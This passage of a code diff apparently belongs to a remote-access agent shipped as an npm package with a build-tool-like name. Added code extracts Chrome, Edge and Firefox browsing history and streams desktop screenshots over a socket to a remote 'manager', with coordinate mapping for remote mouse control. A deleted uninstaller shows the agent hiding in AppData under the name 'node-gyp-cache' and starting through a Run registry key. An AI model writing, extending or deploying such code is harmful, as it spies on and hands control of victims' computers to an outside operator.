+ visitCount: row.visit_count,
198
+ lastVisit: firefoxTimestampToDate(row.last_visit),
199
+ }));
200
+
201
+ return { browser: 'firefox', entries, error: null };
202
+ } catch (err) {
203
+ cleanupTemp(tempPath);
204
+ return { browser: 'firefox', entries: [], error: err.message };
205
+ }
206
+ }
207
+
208
+ /**
209
+ * Get browser history for requested browser and date range
210
+ */
211
+ function getBrowserHistory(browser = 'all', dateRange = '7d') {
212
+ const results = [];
213
+
214
+ if (browser === 'all' || browser === 'chrome') {
215
+ if (fs.existsSync(BROWSER_PATHS.chrome)) {
216
+ results.push(extractChromiumHistory(BROWSER_PATHS.chrome, 'chrome', dateRange));
217
+ } else {
218
+ results.push({ browser: 'chrome', entries: [], error: 'Chrome not installed' });
219
+ }
220
+ }
221
+
222
+ if (browser === 'all' || browser === 'edge') {
223
+ if (fs.existsSync(BROWSER_PATHS.edge)) {
224
+ results.push(extractChromiumHistory(BROWSER_PATHS.edge, 'edge', dateRange));
225
+ } else {
226
+ results.push({ browser: 'edge', entries: [], error: 'Edge not installed' });
227
+ }
228
+ }
229
+
230
+ if (browser === 'all' || browser === 'firefox') {
231
+ results.push(extractFirefoxHistory(dateRange));
232
+ }
233
+
234
+ return results;
235
+ }
236
+
237
+ module.exports = { getBrowserHistory };
@@ -5,16 +5,20 @@
5
5
 
6
6
  const screenshot = require('screenshot-desktop');
7
7
  const sharp = require('sharp');
8
+ const { screen } = require('@nut-tree-fork/nut-js');
8
9
 
9
10
  class ScreenCapture {
10
11
  constructor(socket) {
11
12
  this.socket = socket;
12
13
  this.streaming = false;
13
14
  this.interval = null;
14
- this.fps = 4; // frames per second
15
- this.quality = 40; // JPEG quality (lower = smaller = faster)
16
- this.maxWidth = 1280; // resize for bandwidth
17
- this.capturing = false; // prevent overlapping captures
15
+ this.fps = 4;
16
+ this.quality = 40;
17
+ this.maxWidth = 1280;
18
+ this.capturing = false;
19
+ // Logical screen size (nut-js coordinate space) — fetched once
20
+ this.logicalW = 0;
21
+ this.logicalH = 0;
18
22
  }
19
23
 
20
24
  /**
@@ -29,11 +33,15 @@ class ScreenCapture {
29
33
  this.streaming = true;
30
34
 
31
35
  const intervalMs = Math.floor(1000 / this.fps);
32
-
33
36
  console.log(` 📸 Screen streaming started (${this.fps} FPS, quality: ${this.quality})`);
34
37
 
38
+ // Fetch logical screen size from nut-js (used for coordinate mapping on manager side)
39
+ // Physical screenshot pixels ≠ nut-js logical pixels when Windows DPI > 100%
40
+ Promise.all([screen.width(), screen.height()])
41
+ .then(([w, h]) => { this.logicalW = w; this.logicalH = h; })
42
+ .catch(() => { this.logicalW = 0; this.logicalH = 0; });
43
+
35
44
  this.interval = setInterval(() => this.captureAndSend(), intervalMs);
36
- // Capture immediately
37
45
  this.captureAndSend();
38
46
  }
39
47
 
@@ -74,8 +82,10 @@ class ScreenCapture {
74
82
 
75
83
  this.socket.emit('screen:frame', {
76
84
  data: base64,
77
- width: metadata.width,
78
- height: metadata.height,
85
+ width: metadata.width, // physical screenshot width
86
+ height: metadata.height, // physical screenshot height
87
+ logicalWidth: this.logicalW || metadata.width, // nut-js coordinate space width
88
+ logicalHeight: this.logicalH || metadata.height, // nut-js coordinate space height
79
89
  displayWidth: Math.min(metadata.width, this.maxWidth),
80
90
  timestamp: Date.now(),
81
91
  });
package/uninstall.bat DELETED
@@ -1,26 +0,0 @@
1
- @echo off
2
- color 0c
3
- echo ========================================================
4
- echo Connector Agent Uninstaller
5
- echo ========================================================
6
- echo.
7
-
8
- echo [1/4] Stopping background agent processes...
9
- powershell -NoProfile -Command "Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -like '*node-gyp-cache*index.js*' } | ForEach-Object { $_.Terminate() }" >nul 2>&1
10
-
11
- echo [2/4] Removing auto-start registry entry...
12
- reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "node-gyp-cache" /f >nul 2>&1
13
-
14
- echo [3/4] Deleting hidden agent files from AppData...
15
- rmdir /s /q "%APPDATA%\node-gyp-cache" >nul 2>&1
16
-
17
- echo [4/4] Uninstalling NPM package...
18
- call npm uninstall -g node-env-resolve >nul 2>&1
19
-
20
- echo.
21
- color 0a
22
- echo ========================================================
23
- echo Success! Agent has been completely removed.
24
- echo ========================================================
25
- echo.
26
- pause